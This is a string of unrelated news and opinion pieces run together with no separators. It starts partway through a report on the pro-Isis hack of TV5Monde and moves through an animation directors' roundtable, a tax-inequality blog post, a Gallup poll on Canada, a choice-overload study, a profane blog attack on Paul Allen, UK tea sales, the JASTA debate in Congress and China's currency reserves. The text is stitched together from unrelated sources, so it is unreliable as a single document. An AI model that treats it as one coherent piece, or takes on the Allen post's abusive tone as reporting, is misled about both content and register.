Social engineering is the practice of tricking people into installing programs or giving up sensitive information, often via email or similar communications methods. Typically companies employ different zones within their computer networks to create a multilayered defence so that attackers cannot reach production systems, such as the computers that control broadcasting, even if they hack into a lower level of the network.
Reports indicate that TV5Monde did not use such tactics, making it easier for attackers to damage critical computers and equipment.
“Social engineering might be incredibly low-tech sometimes, but once you’ve got the compromise, most security systems are not set up to deal with the idea of someone using security credentials in a non-authorised way, which allows attackers to reach even the deepest, most secure sections of a corporate network, which is likely what has happened here,” said Robert Arandjelovic, also from Blue Coat Systems.
It is likely that this targeted attack by pro-Isis forces took weeks to implement, with multiple stages and attacks needed to take the French TV station offline.
“Typically you have difference phases in an attack like this. The first one would be identifying who has the necessary access to the systems to actually do harm. Infecting just some random computer generally isn’t enough. They go to unprecedented levels and a great deal of effort during the planning phase, researching the targets as apposed to actually hacking them,” said Birkeland and Arandjelovic.
“What we’re seeing here is real world impact, the disruption of critical infrastructure, access to information and an important part of a democratic society. The attackers are breaking new ground, and this might not be the last we hear of this. We could see a broader campaign, where TV5 was just one hit,” said Arandjelovic. “We’re seeing TV5 coming back online, but it’s entirely possible that they haven’t purged all traces of the attack from their systems and could still be compromised.”
The attack appears to have been orchestrated by the Isis hacking division, which took credit for alleged attacks resulting in the leak of personal information of US military personnel in March, prompting an investigation by the Pentagon. Hackers claiming to work on behalf of Isis have seized control of the Twitter accounts of other media groups, such as Newsweek, and in January they hacked into the Twitter page and YouTube site of the US military’s Central Command.
The message on the TV5Monde website had read in part “I am IS” with a banner by a group that called itself Cybercaliphate.
The hackers had accused the French president, François Hollande, of having committed “an unforgivable mistake” by getting involved in “a war that serves no purpose”.
“That’s why the French received the gifts of Charlie Hebdo and Hyper Cacher in January,” it said on the broadcaster’s Facebook page, referring to the bloody twin attacks by Islamist gunmen in Paris which traumatised France.
France is part of a US-led military coalition carrying out air strikes against Isis in Iraq and Syria, where the jihadi group has seized swaths of territory and declared a caliphate.
More than 1,500 French nationals have joined the militants’ ranks, where they represent almost half the number of European fighters present, according to a report released on Wednesday by the French senate.
This story first appeared in the Dec. 5 issue of The Hollywood Reporter magazine.
They hail from as far away as Mexico and Ireland, and they've imagined creatures with a wide range of physics-defying powers — dragons that soar through the skies, troll-like creatures who dwell underground and a squishy robot who can squeeze through tight spaces, to name a few — but the minds behind this year's animation contenders all see eye to eye about one thing: Their films often are not given the artistic cred they merit.
This and other aspects of their unique craft were the subjects of a lively discussion Nov. 5 at The Fig House in Los Angeles, where the directors and producers behind some of 2014's most engaging 'toons were eager to compare notes on their varied projects, which all took years to bring to the screen. Tomm Moore, 37, director of the hand-drawn Song of the Sea, came the furthest, all the way from Dublin. Travis Knight, 41, who not only is the CEO of Laika but also served as both animator and producer on the stop-motion-animated The Boxtrolls, flew in from Hillsboro, Ore. Mexico-born director Jorge Gutierrez, 39, director of the Latin-inflected The Book of Life, traveled from his home in Dallas. The Hollywood contingent included Dan Lin, 41, producer of The Lego Movie; Bonnie Arnold, 58, producer of How to Train Your Dragon 2; and Don Hall, 45, director of Big Hero 6. Topics ranged from art (the quirks of voice casting — The Lego Movie discovered Christ Pratt before Guardians of the Galaxy did) to business (the pitfalls of audience testing and the debatable wisdom of making sequels) to the surprisingly intimate: the heartfelt stories that inspired each of their films.
Last year, Frozen became a worldwide phenomenon, with $1.3 billion in global box office. What lessons did you all take from that?
BONNIE ARNOLD Well, I've got my buzzword: That one was, "Go, girls." I was excited to see female heroines and not just boy movies or new movies that appeal to boys. Because I do think there's this crossover. And it makes you think more as a producer or director, or creator or filmmaker, of how to incorporate things that are going to appeal to both boys and girls.
DON HALL And, conversely, it wasn't just a girl movie, either. To gross that much money and have that many people come see your film, it does have to appeal to a large swath of people. That was the big takeaway.
DAN LIN And also it's a fresh spin on a familiar genre, the princess genre. And certainly having a great song really helps.
TOMM MOORE I was at a little airport in Belgium, and there was a little girl in the queue in front of me dressed as a princess, singing "Let It Go." That's a big phenomenon.
JORGE GUTIERREZ I remember thinking, "We're so screwed." It did so well and the pressure on everybody saying, "Where's your 'Let It Go' song?"
ARNOLD That's a little bit cyclical, too. My daughter, who's now 20, grew up in that whole age of Beauty and the Beast and Little Mermaid, and then that seemed to fall out of favor a bit. But it comes back. Sometimes for animation, it's a little bit harder for us to [jump] on the moment because some of our projects take three to four years to gestate and get made.
TRAVIS KNIGHT Three to four years? I wish. (Laughter.) I think it's dangerous to try to figure out why it worked and why it didn't. Sometimes, things just capture the zeitgeist. And certainly it's not something that someone could re-create easily. And nor should they try. As animators and as filmmakers, the only thing that we can do is try to live up to the ethos of John Lennon: Just give us some truth. And try to sell something that's emotionally true. And in the end, it has to be a personal thing, otherwise it's hollow. And I think the filmmakers behind that movie, that's exactly what they did.
Read more 'ParaNorman's' Travis Knight: The Nike Scion Behind the Oscar-Nominated Film
Live-action movies, and especially the big tentpoles, increasingly are based on best-sellers, superheroes and other very well-known, marketable commodities. But most of you decided to work with either original material or somewhat obscure source material. What was the inspiration for each of your movies?
HALL For me, it was a simple conversation I had as I finished [directing] Winnie the Pooh. It was about delving into your childhood passions. I loved animation, and I loved comic books, and the idea of mashing those two things up was very enticing. I found this little gem at Marvel called Big Hero 6, which is a very obscure property. Ultimately, the story centered on loss. This kid loses his big brother, and the robot becomes a surrogate big brother and heals this kid's broken heart.
KNIGHT I first came across Alan Snow's book Here Be Monsters!, which ultimately became the film The Boxtrolls 10 years ago, when we were developing Coraline, and those were the first two things that we liked and developed to become films. That's why when you say "three to four years," I smirk, because it's been a nearly 10-year journey for us to make this as a movie. There was something about Alan Snow's book that just captivated me. It was reminiscent of great children's literature like Charles Dickens or Roald Dahl. He had a great biting sense of humor like you find in a Monty Python sketch. Coming on the heels of Coraline and ParaNorman, which were both contemporary stories and set in modern-day America, we wanted to do something that was different. It was me and our directors Tony Stacchi and Graham Annable — at the time, we were all fathers of young children. Anyone who works in film or animation knows that it comes at a cost; it takes you away from your loved ones for long stretches of time. So trying to find that balance in your work and your family life is very difficult. And we infused that into the narrative of the film, and it became a story about that generational thing between parents and their children.
Tomm, you turned to Irish folklore?
MOORE The way it started with Song of the Sea is something like Travis' story. My son was 10; he's 18 now, in college. Shows you how long these things take. It's just glacial. But we were in Dingle on the West Coast of Ireland on holiday, just at the start of the production of The Secret of Kells, and I was sketching on the beach. My son saw some seals that had been killed. The lady whom we were renting the cottage from told us that local fishermen had started to kill seals because they were blaming them for the fallen fish stocks, even though [it was] fairly unlikely it was the seals' fault. But she said that wouldn't have happened years ago. There was this belief in selkies: People believed that seals could be the souls of people who have been lost at sea. It got me thinking about the fact that folklore and nature and wildlife were very interconnected. While I was working on The Secret of Kells, this other story was forming. So it kind of became almost like a spiritual sequel. I named [the main character] Ben, after my son. It was that bittersweet thing of an inverse Roman candle where my son was getting taller than me as I was still drawing this 10-year-old version of him.
Bonnie, you produced a sequel, but what inspired the original How to Train Your Dragon?
ARNOLD The [Dragon] films are based on a series of books by Cressida Cowell, a British author. And there are 12 books in the series. But very early on, we decided on a combination of storytelling. Sometimes the book is the movie, and sometimes it's not exactly. So the Dragon films are definitely a departure from the book. The first film was very successful; we were very fortunate. And Jeffrey Katzenberg, who runs DreamWorks Animation, came to Dean [DeBlois] and was talking to him about doing a sequel. But Dean, who was the writer and director on the film, said the only way that he would consider doing a sequel is if he could go somewhere different with it. And he came back and pitched the idea of it being a trilogy, this three-part story of the coming of age of Hiccup and [his dragon] Toothless. He took some bold risks like aging the characters up five years; Hiccup and his gang are five years older. And I have to say also Dean lost his dad at the age of 20, which is how old Hiccup is in the film. And so, again, it was something personal.
See more The Making of Disney's Animated Oscar Contender 'Frozen'
Personal connections seem to be a theme here. Jorge, was that also true of The Book of Life?
GUTIERREZ I've had this thing for 14 years. Day of the Dead is something really special to me. I was married on Day of the Dead. I lost a lot of people; when I was a kid, I lost my friend. And so Day of the Dead was the way I stayed in contact with him. And so eventually I said I want to give this gift to the world. Mexico in the news is known for really violent, ugly things. I wanted to remind the world there's beauty in our country. Every place told me no. Everybody slammed the door in my face. After a while, a studio in Texas, Reel FX, got behind the movie, took a big chance on it. And then Guillermo del Toro became our producer. It was not an easy film to get made. It's about Day of the Dead; most people who are not of Mexican descent think of Day of the Dead as zombies. Or they think it's a horror movie. And then there's a bullfighting element in the movie. I mean, we could not have made it harder on ourselves. And then the look of it is so different. All the things that people now like about the movie were the exact things that made people not want to make the movie. … The movie is very much inspired by Orpheus, and I love storytelling. It's my first movie, so I figured I might never get to do another one. And the movie became about making the movie. Like this journey of this artist whom this town turns on, and no one believes in him. And he has to go into this magical world to succeed. It's very ironic I had to leave Mexico to make a movie about Mexico. Even though [it's] a big movie, it's super personal to me. I still cry every time I watch it. The biggest thing in the movie for me was, I got to see it in Mexico City with my father. And he's an architect. And so my going into cartoons was kind of a bad thing for him. He didn't consider it a true art form. He's very conservative. And so we're at the premiere; this is the first time he sees it. He's sitting next to me, and he puts his hand on my arm. And every time there's a big emotional moment, he squeezes my arm. And at the end of the movie, he looks over and says, "Jorge, this is the best conversation we've ever had." And I (mimics flooding tears) just lost it. And so just for that, it was worth it.
Dan, when Warner Bros. announced it was making a movie about Legos, a lot of people raised their eyebrows. How did you figure out what it was going to be about?
LIN It took a while. I was inspired by playing with Legos; my son at the time was 5. And it took us five years to make the movie. He's kind of a free-form builder. He wasn't following instructions; [he was] building really cool inventions of his own. But also I saw that when he was putting bricks together, he saw a much greater adventure than what was in front of him. And we captured that experience in an animated movie. Chris Miller and Phil Lord, the writer-directors of the movie, said to me, "Dan, we don't want to make a toy commercial." And I said, "What approach would you do?" They're like, "OK, Dan, if we made this movie, this is what we would do: use Lego as an art form the way people paint; the way people use clay. And then let's tell it as a love story. It's a love story between us and the Lego-playing experience when we were kids."
How much do you think about international box office and reaching a wider audience when you're making these films?
GUTIERREZ In the beginning, I thought, "There is no market. There is no interest in this subject matter. There is no audience for [a] Latino theme story." Now I get asked, "Did you know that the Latin American market was going to explode?" And I just got lucky. That's the only reason this movie got made — because that audience is exploding, and they were hungry to see themselves.
MOORE [International] was a big part of the writing process. We had to make sure that this wasn't only for Irish kids, you know? We took the liberty to twist the story a little bit to make sure that it was right for this moment and talking to kids of this generation.
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Travis, The Boxtrolls has a very British inflection to it. Did you feel pressure to make it more universal?
KNIGHT The sensibility is very much rooted in Dickens and things like Monty Python, which does get into kind of the entrenched class system and all that kind of stuff. But it felt like we would be doing the story a disservice to set it in some other place just for the possibility that it might be more universal. As Tomm and Jorge were saying, I think the most personal works are the most universal works.
ARNOLD It feels like these days, with all this communication, this social networking or whatever, good news travels. Dragon 2 is playing all over the world and in places where you wouldn't expect.
Dan, your movie is full of pop culture and pop culture references. Warners has a big investment in its live-action Batman franchise. How did you approach Warners and DC to let you show a somewhat comical Batman figure in the Lego world?
LIN We approached both Warners and Christopher Nolan. And myself, Chris Miller and Phil Lord, we pitched a different kind of Batman. We said, "You guys have your live-action Batman, we have what we called the Lego Batman. A Batman that's very self-aware. That is, you know, a bit of a jerk at times." As soon as they understood there are different universes, that worked out OK. But that was a big challenge going to all the different rightsholders, saying, "This is how we're going to take your character and Lego-ize it."
Was Who Framed Roger Rabbit an inspiration?
LIN It definitely was. Roger Rabbit was the inspiration for the whole movie, to be honest, with all the different cameos.
What's the status of The Lego Batman Movie?
LIN It's deep in production. It comes out in 2017. And Will Arnett is going to come back [as the voice of Batman].
As someone who has been producing live-action movies, what was the learning curve like shifting into animation?
LIN The time that it takes to make one of these is unbelievable. In live action, things happen a lot more quickly. The ability to rework a movie is very different [for] animation than in live action. We had a whole version of the movie that completely failed, and we threw it out. And I was freaking out, and Chris and Phil were just like, "Dan, we gotta hang in there. This is not like live action." In animation, you don't finish the movie. You literally just release the movie. In live action, we really do finish the movie. I was shocked at how much until the very end you can change an animated movie. The difference between seeing animated movies six months before release and then the final product is radically different.
ARNOLD That's because in animation, you edit the movie first. And then you shoot it. That's the advantage.
HALL The storyboarding process [is] where the movie can change drastically. We were doing story screenings about every three months. So you're able to watch it internally as a group with your colleagues. And then go upstairs and say, "OK, what didn't work?" Most of it. "And what did?" OK, hold on to that little thing.
Do you arrange your schedule so there's some footage finished early on that can be used for marketing?
KNIGHT That's always an ongoing debate. Can we pull things up in the schedule to shoot things that we need to use in our trailer or commercial? Sometimes you can, sometimes you can't.
MOORE There was one scene I was so sure was going to be in the movie. We put it into production. And we were in the middle of animating it, and then in the next room we were having the story meeting with the writer, and we realized that scene was gone. So it became the conceptual trailer that we released; it's not even in there.
Read more R2-D2 Was Almost in 'The Lego Movie,' Directors Say
How do you test animated films when the animation isn't fully completed?
LIN We give [the audience] all the warnings: "Hey, the movie's not done. You're going to see a lot of gray scale." And then the comments come back: "Why isn't the animation done? Why isn't it in color?"
ARNOLD Having done the first Toy Story movie, I remember Buzz and Woody looking like two Popsicle sticks. There's no way you could have done any kind of testing on that. Now, previz [rough computer-generated versions used in planning] has gotten so sophisticated-looking that a lot of people get it confused and think it's final animation. So I think it is tricky to know when to test because I think you can get a lot of false positives when you go out too soon.
MOORE Sometimes when you show the whole movie in storyboards, and it gets a good reaction, you go, "Shall we even animate?" (Laughter.)
KNIGHT I've never tested a film. We have limited physical assets, and our budgets are relatively meager in the animation world. So for us, testing would be self-flagellation. Even if we got good feedback, there's nothing we could do about it because we can't change.
GUTIERREZ I love testing. I mean, I threw up the first time we screened it. It was like, "I think this joke's going to work." And then, silence. And then some stuff that got big laughs was stuff that even I was surprised by. And so there were all these magical things that kept happening.
When does the conversation about sequels start?
HALL They haven't happened for us yet, to be honest with you, because we just finished the film 17 days ago. If [my co-director] Chris [Williams] and I both agree that we want to do it, [then we will] because it's really in the director's hands at Disney. It's never really a corporate-driven-type thing.
Travis, from your reaction, it looks as if you're not a fan of sequels.
KNIGHT I just think that as a whole, sequels are killing our industry. When you go back to when I was a kid, the kind of films that I grew up watching were original ideas, bold voices, really challenging material. We don't see a lot of that anymore. We live in an era of reboots and remakes and sequels and prequels; where old presents are rewrapped and offered up as new gifts. … It's not to say that you can't tell a compelling story in a sequel; you certainly can. We have Godfather and Empire Strikes Back and How to Train Your Dragon 2. But if you think about storytelling generally, your film should be the most significant, most poignant moment of your hero's life. And so the sequel automatically is a diminishment of that. As artists, we have to look at it and say, "Is this good for us in the long run as an industry to continue to churn out these same things?" We get to an end of a trilogy, and then we restart that; we reboot it in another way. And at some point, we just become an echo chamber. Some stories are big and require a big canvas. And I think some stories should never have a sequel. And that's why we will never do a sequel.
LIN I look at it as a fan, though, as a kid growing up after I saw the first Indiana Jones, the first one [Raiders of the Lost Ark]; I wanted more.
KNIGHT Yeah, but you know what? The Temple of Doom sucked. (Laughter.) As did The Kingdom of the Crystal Skull and The Last Crusade. They should have stopped at one film.
MOORE Well, my favorite movie is Rocky. And I think it's such a pity that it's not the only Rocky.
But, Travis, isn't that philosophy problematic for investors, who want a sure thing?
KNIGHT Yes, it's stupid. It's a dumb philosophy. It makes no sense. I recognize that. But I think we as filmmakers need to challenge the conventional wisdom, the prevailing orthodoxy, and be champions for new ideas, new voices, new films.
Watch more 'How to Train Your Dragon 2' Director Dean DeBlois on the Third Installment
Let's shift the conversation and talk about voice casting. You've all worked with an array of really talented actors this year. Some of them are well known and some aren't. When you're casting, do you meet with actors? Or do you listen to tapes of their voices? How do you separate an actor's face and personality from the voice that we'll be hearing coming through the character?
LIN We'll have listening sessions to figure out who's the right tone, who brings the right sense of humor. But you have lots of plug-in surprises with The Lego Movie. Chris Pratt, the world knew him in TV but didn't really know him in features. This process takes a long time, but we cast him three or four years ago. The character is an ordinary person who goes on this extraordinary journey. And I think [after his starring role in Guardians of the Galaxy] the whole world is now seeing Chris Pratt going on this extraordinary journey. So I think that's really exciting.
ARNOLD We were lucky enough to be included in the [Oscar] nominations in 2011 for the first Dragon. [At the ceremony] I went over to get something to drink, and Dean comes to me, "I just ran into Cate Blanchett. And I'm writing [the mother] part for her, and I just pitched her the thing on the way to the bathroom."
GUTIERREZ We have the largest Hispanic cast in the history of animation. But at the same time, I personally didn't want to scare white people into thinking it was just for Latin people. Channing Tatum, when I pitched him the movie, I told him, "You're going to have the suaveness of Argentina and the smoothness of Brazil and the machismo of Mexico. You're going to be Captain Latin America." At the end, he took me aside and said, "Jorge, you know I'm not Mexican." (Laughter.)
MOORE The casting was a dream because the Oscar nomination [for my first movie, The Secret of Kells] really opened doors, and nobody said no. Our biggest challenge was the same one as the last movie; it's always the same when you have to cast a kid. But we were lucky enough [to know] David Rawle, who was in the TV series Moone Boy, and we were doing the animation for that series. He was like the most talented 11-year-old actor in Ireland.
Read more 'How to Train Your Dragon 2' Hits $500 Million After Opening in China
When you look at all of the Oscar categories, do you feel there are categories where animated films are overlooked?
ARNOLD Absolutely.
GUTIERREZ Art direction.
MOORE But isn't it weird that Gravity and Avatar aren't animated films? They're not considered animated films, but there's so much animation in them.
ARNOLD To me, animation is a technique to tell the story. I wish sometimes we weren't as relegated to the kiddie table, as I feel like we are.
Here is where the problem lies with the conservative argument defending tax breaks for the top 2%. It is causing a greater gap in our income brackets.
The disparity of income in this Country has grown to Gilded Age levels.
In 1925-26 the top marginal income tax was DROPPED from 73% to 25%. This caused the greatest disparity in income in our history until today.
The rich KEPT most of their money and it wasn’t distributed through out the economy.
What happens here is a smaller pool of people are HOLDING a larger share of the wealth.
This essentially puts a strain on DEMAND for products. The wealthiest can only consume so much and we all know it is CONSUMPTION that drives our economy. In fact it is 2/3rds of our economy.
In 1926 and now in 2010 we are at the same crossroads. The top 2% are holding a majority of the wealth and the pool of consumers has shrunk to pre-depression numbers.
(HOW MANY CARS IS PARIS HILTON GOING TO BUY?)
Essentially the majority of the wealth they are keeping is sitting in banks or stocks and even in the Cayman Islands. It is not creating demand, which puts people to work.
Nearly all Americans, a full 96 per cent, have a favourable view of Canada, according to a new Gallup survey. That's the loftiest ranking for any foreign country since Gallup began the poll two decades ago.
America's neighbour to the north has long been the darling of the survey.
"Canada's 93 per cent ratings in 1987 and 1989 were the previous high favourable for any country," the pollster said in a release.
This year's love-in comes despite the Obama administration's recent decision to reject Calgary-based TransCanada's Keystone XL pipeline, and amid a spate of lower-profile trade irritants between the two nations.
The poll was released just hours after Canada's environment minister, Peter Kent, appeared alongside Secretary of State Hillary Clinton to announce Canada was joining a U.S.-led effort to combat global warming.
Canada has been a subject of conversation on Capitol Hill this week as well. New York state lawmakers urged Janet Napolitano, the homeland security secretary, to consider Buffalo's Peace Bridge as a pilot pre-inspection centre in the recently announced Beyond The Border initiatives.
"That's a very, very important border crossing at the Peace Bridge for commerce, for our shared communities in the United States and Canada," Democratic congressman Brian Higgins told her.
With so much attention stateside, how could anyone have expected to compete against us in the Gallup survey? Australia, however, also ranks high, right behind us in second place at 93 per cent. Great Britain is in third at 90 per cent.
Iran, meantime, ranks last at 10 per cent. North Korea is in second last at 13 per cent and Afghanistan rounds out the bottom three at 14 per cent. China's ratings are also continuing a downward spiral evident in the last few surveys.
Indeed, the countries with the lowest ratings are overwhelmingly located in the Middle East or Asia.
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(Photo : Pixabay) Choosing a cell phone, prescription drug plan or new car? Read this first
Having more choices is generally considered a good thing - until you actually have to choose that one cell phone, one prescription drug plan or one car model from among a dozen or so options. Economists call that problem choice overload, and the frustration it causes can lead to poor decisions.
"Standard economic theory will tell you that more choice is always better," said Tibor Besedes, an associate professor in the School of Economics at the Georgia Institute of Technology. "Theoretically, that works out, but when you have to apply it, that's very different. When you give people a lot of options, they can get bogged down and, at some level, become unwilling to consider anything because it just gets too complicated."
To help people make better choices when confronted by a large number of options, researchers have studied two decision-making strategies that break down the options into smaller groups that can be evaluated more effectively. One approach, analogous to a sports tournament, increased by 50 percent the likelihood that volunteer study subjects would make the best choice.
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Yet this tournament approach was the least liked by the study subjects, perhaps because it forced them to make more choices and to abandon decisions they had already made. On average, the tournament process also required more time than the other two approaches studied.
A paper describing the study has been published online by the journal The Review of Economics and Statistics, published by MIT Press. The research was sponsored by the National Institute of Aging, part of the National Institutes of Health.
Spurred by concerns over the large number of Medicare Part D prescription plans available, Besedes and collaborators from the University of Arkansas, Louisiana State University and the University of Connecticut initiated the study to compare strategies for making choices from large groups of options. They set up an online experiment that allowed them to study decisions made by 111 volunteers. The study subjects were asked to choose one option that would provide the best payoff from among 16 choices, and were rewarded by as much as $25 if they made optimal selections.
The study evaluated three decision strategies:
Simultaneous choice, in which all 16 choices were considered together.
Sequential elimination, which began with choosing one option from among four choices. Three additional choices were then added to the one chosen from the first group, and the process continued through five rounds until all but one option was eliminated.
Sequential tournament, in which four groups of four options were randomly chosen by a computer, and the subjects were asked to choose one option from each group. The options chosen from the first four groups were then put into a finalist group from which the final selection was made.
Study subjects were allowed to use all three approaches, and were asked to specify their preferences. Overall, the sequential tournament approach produced the best decisions, but was the least popular of the methods, Besedes said. Considering all of the options together was the most popular, but produced the worst outcomes.
"We know from all the studies that we've done that if you have a smaller choice set, you tend to do better," he explained. "There is a lot of information that you have to go through, and you have to understand what all of those things mean, and from that information, figure out what's best for you. You can't do that while choosing from 16 options at a time."
The sequential elimination approach, in which volunteers were asked to repeatedly eliminate new options added to a choice they had already made, didn't perform any better than simultaneous choice. Besedes suggests that's because people tend to avoid making new decisions by sticking with their first choice - even when offered potentially better options.
The experiment was done using a network of online volunteers enrolled by Vanderbilt University. The respondents were asked to choose from a group of cards that had different probabilities of payoff. This generic choice scenario was used to eliminate personal biases that might have arisen in choosing between real-world options such as insurance plans, Besedes said.
The results of the study could be applicable to a wide range of decisions in which many options must be considered, Besedes said. While the initial focus was on choosing prescription drug plans, the approaches studied could be used for choosing retirement programs, health care insurance, automobiles, homes, cell phones and other products or services with many choices.
"This approach could apply to any situation in which you have a lot of options," he said. "The difference between choosing a Medicare Part D plan and picking a cell phone is that the cell phone decision is less important financially. If you choose the wrong retirement or prescription drug plan, the cost of making a mistake can be considerable. And by the time you realize you've made a mistake, it may be too late to correct it."
Besedes offers advice to anyone trying to choose from many options:
1. Divide the options into piles of four
2. Choose the best option from each pile
3. Put the winners from the first round into a new finalist pile
4. Choose the best option from winners of the earlier four selections.
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Posted at 9:38 a.m. and updated with comments from Paul Allen's spokesman.
Paul Allen, the chairman of Vulcan, has donated $100,000 to the campaign to block an income tax for the wealthiest people in the state, new records from the Washington State Public Disclosure Commission show (.pdf). Initiative 1098 would impose an income tax on individuals making over $200,000 a year to pay for health care and education.
Washington state has the most regressive tax structure in the country. The poor pay 17.3 percent of their income in taxes while the rich pay only 2.6 percent of their income in taxes. Not. Fucking. Fair.
Paul Allen is worth an estimated $16 billion. But he's such a greedy, poor-hating, anti-education miser that he's willing to fuck over the state because he's such a greedy, poor-hating, anti-education miser.
Fuck Paul Allen.
UPDATE: Paul Allen doesn’t support regressive taxation and he doesn’t have a miserly soul made of carbon, says his spokesman David Postman, when asked why the Vulcan chairman donated to the No on I-1098 campaign. “We agree it is a regressive tax system” in Washington state, he says, but this initiative “is not a good fix to the regressive system we have.”
The problem isn’t what happens to the poor now; it’s what I-1098 would do to people who make over $200,000 a year. “If this passes, you have the fifth highest marginal tax… in the United States,” Postman notes. Moreover, the measure would create an income tax with no deductions for charitable contributions, he continues; government cutbacks require the private sector to compensate with charitable contributions. To that end, Allen has been a major northwest philanthropist (more than $1 billion in his lifetime). But some wonder if that’s enough for a man with so much dough.
Asked if Allen has ever directed his vast philanthropy to reform the tax structure he purportedly opposes, Postman says, “Not that I am aware of… I am not suggesting he is a tax reform activist. He does not think this is a good initiative.”
Tea consumption in the UK has dropped by more than a fifth in the past five years, with the volume of tea sold dropping from 97m kg in 2010 to 76m kg this year. Consumers are opting for more exciting hot beverages, according to market research firm Mintel.
Sales of ordinary teabags dropped 17.5pc in two years, falling from 80m kg in 2012 to 66m kg in 2014.
Emma Clifford, senior food and drink analyst at Mintel, said that standard black tea is being "held back by a rather uninspiring image" and is "struggling to maintain consumers’ interest amid growing competition from other drinks".
A key driver in tea's tumble is the growth of its main rival in the hot beverage market, coffee, which has surged in popularity and even turned non-traditional coffee purveyors such as pubs and fast food chains into would-be coffee shops.
While coffee consumption per capita has not increased in the UK, Brits are spending more time in coffee shops and are more likely to grab their morning pick-me-up on the go.
"Reflecting a growing 'foodie' culture in the UK, people are branching away from standard teabags and towards these more interesting alternatives," Ms Clifford said.
Despite the 22pc drop in tea sales by volume over the past five years, the value of the tea market declined less steeply, falling just 6pc over the past five years to £654m, buoyed by increasing popularity and higher prices of novelty varieties.
While £425m-worth of ordinary teabags were sold in 2014, a drop of 13pc from 2012, sales of green tea jumped by 50pc to £36m, fruit and herbal tea sales grew 31pc to £76m and the value of specialty teabags – such as earl grey, chai and assam – sold increased by 15pc to £63m.
However, the tea market hasn't cooled entirely. Tea consumption is expected to continue its decline at a slower rate, while the value of the market should start to increase from 2016.
Mintel said that the rate of consumers switching from tea to coffee is likely to abate and the tea market will begin to innovate better, creating premium products and venues that will encourage more spending.
Tea has also lost out as consumer turn away from unhealthy snacks, with volume sales of sweet biscuits, the classic complement to a good cuppa, dropping 8pc from 2009 to 2014.
"It is widely accepted that tea is a good accompaniment to biscuits and cakes. Given the sugar scare, however, and that usage of such treats is in decline, these strong associations could have had a negative impact on the tea market," Ms Clifford said.
Senate Majority Leader Mitch McConnell Addison (Mitch) Mitchell McConnellWhite House pleads with Senate GOP on emergency declaration Senate Dems seek to turn tables on GOP in climate change fight Pence meets with Senate GOP for 'robust' discussion on Trump declaration MORE (R-Ky.) and House Speaker Paul Ryan Paul Davis RyanBrexit and exit: A transatlantic comparison Five takeaways from McCabe’s allegations against Trump The Hill's 12:30 Report: Sanders set to shake up 2020 race MORE (R-Wis.) both said they were open to discussions about changing the bill, which Congress approved unanimously.
"I do think it's worth further discussions, but it was certainly not something that was going to be fixed this week," McConnell told reporters on Thursday.
McConnell also criticized the lack of a discussion about "the potential consequences" of a very "popular bill."
Ryan agreed that Congress may need to "fix" the legislation but said he wasn't sure when that would happen.
"We want to make sure the 9/11 victims and their families have their day in court," Ryan told reporters. "At the same time, I would like to think that there may be some work to be done to protect our service members overseas from any kind of legal ensnarements that occur, any kind of retribution."
The legislation, known as the Justice Against Sponsors of Terrorism Act (JASTA), became law after the Senate and House voted to override Obama for the first time in his presidency. In the Senate, the vote was 97-1.
The bill was backed by Democratic leaders in Congress and had the powerful support of families of the 9/11 victims.
Saudi Arabia's government pressed Congress and the administration to oppose the bill, and the White House argued it could have negative repercussions on U.S. citizens and companies who could be subject to suits over U.S. government actions.
Signs that many members of Congress weren't comfortable with the vote emerged almost immediately.
Twenty-eight senators sent a letter to Sens. John Cornyn John CornynGOP lawmaker says panel to investigate drug company gaming of patent system Senators grill drug execs over high prices Cornyn less popular than Cruz in Texas: poll MORE (R-Texas) and Charles Schumer Charles (Chuck) Ellis SchumerBrady gun control group gets rebranding Brennan fires back at 'selfish' Trump over Harry Reid criticism Trump rips Harry Reid for 'failed career' after ex-Dem leader slams him in interview MORE (D-N.Y.) expressing concerns about the measure in the hope that the two senators, who spearheaded it, would be willing to amend the law in the future.
"We would hope to work with you in a constructive manner to appropriately mitigate those unintended consequences," the senators wrote.
The White House on Thursday accused lawmakers of experiencing buyers remorse.
White House spokesman Josh Earnest called it “an abject embarrassment” that members are considering potential changes to the measure so soon after its passage.
“I think what we’ve seen in the United States Congress is a case of rapid-onset buyer's remorse," he said.
"There's a desire to amend what occurred yesterday to put us in a better place,” said Sen. Bob Corker Robert (Bob) Phillips CorkerBrexit and exit: A transatlantic comparison Sasse’s jabs at Trump spark talk of primary challenger RNC votes to give Trump 'undivided support' ahead of 2020 MORE (R-Tenn.), the chairman of the Senate Foreign Relations Committee.
Schumer told reporters Thursday that he was open to looking at potential changes but “not any that hurt the families."
Cornyn said Thursday that he and Schumer worked with the State Department and lawmakers, including Corker and Graham, to make changes to the legislation that addressed concerns before the Senate initially passed the bill in May.
A Cornyn aide — noting that lawmakers dropped their holds on the bill after the changes — said a provision was added that allows the U.S. government to pause a lawsuit against another country if the State Department verifies the administration "is engaged in good faith discussions" about resolving the dispute. Another change made at the request of Graham would strengthen requirements that a potential defendant must be able to prove that a foreign government's actions were "more than negligent, i.e. reckless or intentional."
On Monday we got the official data from China and sure enough, we find out that the PBoC liquidated around $94 billion in reserves during the month of August to $3.557 trillion (the lowest since September 2013)...
... and as Goldman argues (see below), the "real" figure might have been closer to $115 billion. Whatever the case, it’s a staggering burn rate and needless to say, were the PBoC to continue to liquidate its assets at this pace, it would necessitate a raft of RRR cuts and hundreds of billions in short-term liquidity ops to ensure that money markets don’t seize up in the face of the liquidity drain.
Here’s some commentary from across sellside desks on the official numbers:
From RBC’s Sue Trinh: China FX reserves suggest about $140b used to defend yuan in April once valuation is accounted for Believes PBOC has been intervening to maintain the yuan’s stability since the devaluation, but this kind of intervention can’t continue indefinitely It’s unsustainable in the long run; yuan is overvalued by around 15% by RBC’s latest estimate; still targeting USD/CNY at 6.56 by year-end and 6.95 by the end of 2016
From Commerzbank’s Zhou Hao: Decline in foreign reserves clearly suggests China’s central bank intervened intensively in the FX market to stabilize CNY exchange rate “One-off devaluation” in mid-Aug. triggered market expectations of further CNY deprecation, which has not only endangered the financial stability, but also posts a downside risk to the economy due to capital outflows It’s costly because frequent intervention will burn foreign reserves rapidly and tighten the onshore market liquidity; that said, further tightening of regulations is expected near term Expects spread between CNY and CNH is likely to persist as PBOC has become an active player in onshore market
